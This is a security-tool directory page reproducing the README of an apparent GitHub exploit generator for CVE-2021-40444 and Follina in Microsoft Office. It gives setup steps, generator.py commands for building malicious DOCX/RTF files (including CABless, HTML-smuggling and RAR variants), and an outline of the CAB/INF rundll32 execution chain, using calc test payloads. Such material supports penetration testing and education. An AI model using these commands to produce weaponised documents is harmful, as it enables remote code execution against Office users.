Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Follina-CVE-and-CVE-2021-40444 — This repository contains scripts and resources for exploiting the Follina CVE and CVE-2021-40444 vulnerabilities in Microsoft Office. The scripts generate malicious document files that can execute arbitrary code on the target system. | Kitploit
Tools/GitHubGitHub/basim-ahmad/follina-cve-and-cve-2021-40444
Payload GenerationExploitationWeb Application ExploitationMalware AnalysisPenetration TestingLearning & Education
GitHubbasim-ahmad/follina-cve-and-cve-2021-40444

Follina-CVE-and-CVE-2021-40444

This repository contains scripts and resources for exploiting the Follina CVE and CVE-2021-40444 vulnerabilities in Microsoft Office. The scripts generate malicious document files that can execute arbitrary code on the target system.

View Repository
162 years agoNot yet reviewed
Share

Exploiting Follina CVE and CVE-2021-40444 Vulnerabilities

Table of Contents

  1. Introduction
  2. Prerequisites
  3. Setup and Installation
  4. Usage
  5. Detailed Explanation
  6. Commands
  7. Disclaimer

Introduction

This repository contains scripts and resources for exploiting the Follina CVE and CVE-2021-40444 vulnerabilities in Microsoft Office. The scripts generate malicious document files that can execute arbitrary code on the target system.

Prerequisites

  • Flare VM
  • Python 3.x
  • Microsoft Word
  • Required Python packages (listed in requirements.txt)

Setup and Installation

  1. Flare VM Setup:

    • Ensure you have Flare VM installed. The credentials for the VM are:
      • Username: lab
      • Password: password
  2. Python and Virtual Environment:

    git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
    cd CVE-2021-40444
    
    • Make sure Python and pip are installed in the virtual machine.
    • Install the virtualenv package using the following command:
      pip install virtualenv
      
    • Create a virtual environment named venv:
      python -m virtualenv venv
      
    • Activate the virtual environment:
      venv\Scripts\activate.bat
      
    • Install the required packages:
      pip install -r requirements.txt
      

Usage

  1. Generating the Exploit:

    • Navigate to the project directory and run the following command to generate the exploit:
      python generator.py -u http://192.168.197.132 -P test\calc.dll --host
      
      Replace 192.168.197.132 with your IP address.
  2. Accessing the Generated Document:

    • The generated .docx file will be located in the directory:
      C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
      

Detailed Explanation

Chain Exploitation

  • The document (.docx) is opened.
  • The document contains a relationship pointing to malicious HTML stored in document.xml.rels.
  • The HTML link opens in IE preview.
  • An object points to a CAB file and an iframe pointing to an INF file, both embedded in JScript and prefixed with the ".cpl:" directive.
  • The CAB file opens, saving the INF file in the %TEMP%Low directory.
  • The INF file is opened using the ".cpl:" directive, causing rundll32 to side-load the INF file.

Scripts Overview

generator.py

  • Implements an exploit for CVE-2021-40444, allowing remote code execution via Microsoft Office.
  • Contains various helper functions for patching CAB files, creating RAR files, generating payloads, and more.

cab_parser.py

  • A tool for viewing CAB file headers.
  • Defines classes and methods for handling and parsing CAB files.

Section 2.0: Setup in Flare VM

  • Install necessary tools and packages.
  • Create and activate a virtual environment.
  • Install Python packages from requirements.txt.

Commands

  • Generate the original exploit and test locally:
    python generator.py -u http://127.0.0.1 -P test\calc.dll --host
    
  • Generate CABless exploit leveraging MS-MSDT (Follina attack), in both DOCX and RTF docs:
    python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
    
  • Generate CABless exploit (IE-only) with HTML smuggling and test locally via IE:
    python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
    
  • Generate CABless exploit with RAR and test locally via IE:
    python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
    

Disclaimer

This project is for educational purposes only. Use it responsibly and do not exploit vulnerabilities on systems you do not have permission to test. Misuse of this information can lead to criminal charges.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    276

Explore all tools

Browse our collection of tools

View all tools →